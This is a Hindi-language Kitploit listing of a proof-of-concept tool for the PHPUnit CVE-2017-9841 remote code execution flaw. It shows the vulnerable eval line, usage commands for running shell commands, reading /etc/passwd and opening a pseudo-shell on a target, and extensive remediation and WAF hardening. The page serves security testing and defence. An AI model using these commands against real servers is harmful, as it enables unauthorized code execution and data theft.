Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 PHPUnit लाइब्रेरी में एक Remote Code Execution (RCE) कमजोरी है, जो 5.6.3 से पहले के संस्करणों और 6.x में 6.4.2 से पहले के संस्करणों को प्रभावित करती है। | Kitploit
उपकरण/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 PHPUnit लाइब्रेरी में एक Remote Code Execution (RCE) कमजोरी है, जो 5.6.3 से पहले के संस्करणों और 6.x में 6.4.2 से पहले के संस्करणों को प्रभावित करती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

CVE-2017-9841 — PHPUnit रिमोट कोड निष्पादन (RCE) PoC

⚠️ अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए कोई दायित्व नहीं लेता है।


अवलोकन

CVE-2017-9841 PHPUnit लाइब्रेरी में एक रिमोट कोड निष्पादन (RCE) कमजोरी है जो 5.6.3 से पहले के संस्करणों और 6.x के 6.4.2 से पहले के संस्करणों को प्रभावित करती है।

कमजोरी src/Util/PHP/eval-stdin.php में मौजूद है, जो php://input (POST बॉडी) के माध्यम से प्राप्त PHP कोड को eval() फ़ंक्शन का उपयोग करके निष्पादित करती है। यदि यह फ़ाइल सार्वजनिक रूप से सुलभ है (जैसे, एक असुरक्षित vendor/ निर्देशिका में), एक हमलावर प्रमाणीकरण के बिना सर्वर पर मनमाना PHP कोड निष्पादित कर सकता है।

कमजोरी का विवरण

कमजोर कोड

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

यह फ़ाइल POST बॉडी से PHP कोड स्वीकार करती है और बिना किसी प्रमाणीकरण या मान्यता के इसे eval() के माध्यम से तुरंत निष्पादित करती है।


स्थापना

आवश्यकताएँ

  • Python 3.6+
  • requests लाइब्रेरी
root@kitploit:~
pip install requests

सेटअप

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

उपयोग

मूल सिंटैक्स

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

-u फ़्लैग दोनों स्वीकार करता है: एक आधार URL (स्वचालित रूप से कमजोर पथ जोड़ता है) या एक पूर्ण URL जो सीधे eval-stdin.php की ओर इशारा करता है।

1. कमजोरी जाँच (कोई कमांड निष्पादन नहीं)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

आउटपुट:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. कमांड निष्पादन

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. सर्वर जानकारी (केवल-पढ़ने)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

आउटपुट:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. इंटरैक्टिव सूडो-शेल

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

आउटपुट:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. स्वचालित रूप से कमजोर पथ खोजें

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. कस्टम पथ

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. eval-stdin.php का पूर्ण URL

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. कच्चा PHP कोड निष्पादित करें

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

विकल्प संदर्भ


उपचार

तत्काल कार्रवाइयाँ (अभी करें)

1. कमजोर फ़ाइल हटाएँ

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. वेंडर निर्देशिका तक पहुँच अवरुद्ध करें

vendor/ निर्देशिका के अंदर एक .htaccess फ़ाइल जोड़ें:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

या इसे अपने Apache VirtualHost में कॉन्फ़िगर करें:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Nginx के लिए:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. प्रोडक्शन से डेव निर्भरताएँ हटाएँ

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

अल्पकालिक सख्तीकरण

4. php.ini में disable_functions सक्षम करें

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. open_basedir सक्षम करें

root@kitploit:~
; /etc/php/8.4/fpm/php.ini या VirtualHost में
open_basedir = /var/www/html/project:/tmp

6. max_execution_time घटाएँ

root@kitploit:~
max_execution_time = 30

7. PHP-FPM पुनरारंभ करें

root@kitploit:~
sudo systemctl restart php8.4-fpm
# या
sudo systemctl restart php-fpm

दीर्घकालिक सख्तीकरण

8. PHPUnit अपग्रेड करें

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. WAF नियम लागू करें

ModSecurity उदाहरण:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. CI/CD पाइपलाइन सख्तीकरण

root@kitploit:~
# उदाहरण: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

हमला प्रवाह आरेख

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

गंभीरता बढ़ाने वाले कारक

निम्नलिखित स्थितियाँ इस कमजोरी की गंभीरता और शोषण क्षमता को काफी बढ़ा देती हैं:


संदर्भ

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

लाइसेंस

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

टूल डाउनलोड करें
फ़ील्डमान
CVE IDCVE-2017-9841
CVSS स्कोर9.8 (क्रिटिकल)
प्रभावितPHPUnit < 5.6.3, 6.x < 6.4.2
प्रकाररिमोट कोड निष्पादन (RCE)
प्रमाणीकरणआवश्यक नहीं
वेक्टरनेटवर्क (दूरस्थ)
प्रकाशित27 जून 2017
संदर्भNVD
फ़्लैगविवरण
-u, --url URLलक्ष्य आधार URL या eval-stdin.php का पूर्ण URL
-c, --cmd CMDलक्ष्य सर्वर पर निष्पादित करने के लिए CLI कमांड
--checkजाँच करें कि क्या लक्ष्य कमांड निष्पादित किए बिना कमजोर है
--shellएक सूडो-इंटरैक्टिव शेल खोलें
--infoसर्वर जानकारी एकत्र करें (केवल-पढ़ने)
--find-patheval-stdin.php का पता लगाने के लिए सामान्य पथ स्कैन करें
--path PATHeval-stdin.php के लिए एक कस्टम पथ निर्दिष्ट करें
--timeout Nसेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 30)
-o, --output FILEकमांड आउटपुट को फ़ाइल में सहेजें
--php CODEसिस्टम कमांड के बजाय कच्चा PHP कोड निष्पादित करें
कारकप्रभाव
disable_functions खाली हैसभी PHP फ़ंक्शन उपलब्ध हैं (system, exec, आदि)
open_basedir सेट नहीं हैहमलावर पूरे फ़ाइल सिस्टम में फ़ाइलें पढ़/लिख सकता है
उच्च max_execution_timeजटिल पेलोड के लिए हमलावर के पास प्रति अनुरोध अधिक समय होता है
FFI एक्सटेंशन लोड हैPHP प्रतिबंधों को दरकिनार करते हुए सीधे C फ़ंक्शन कॉल की अनुमति देता है
डेटाबेस एक्सटेंशन लोड हैंसीधे डेटाबेस कनेक्शन संभव (mysqli, pgsql, आदि)
कोई WAF तैनात नहींकोई अनुरोध फ़िल्टरिंग या अवरोधन नहीं
कोई IDS/IPS मौजूद नहींकोई विसंगति पहचान या अलर्टिंग नहीं
प्रोडक्शन में डेव निर्भरताएँअनावश्यक रूप से हमले की सतह का विस्तार करता है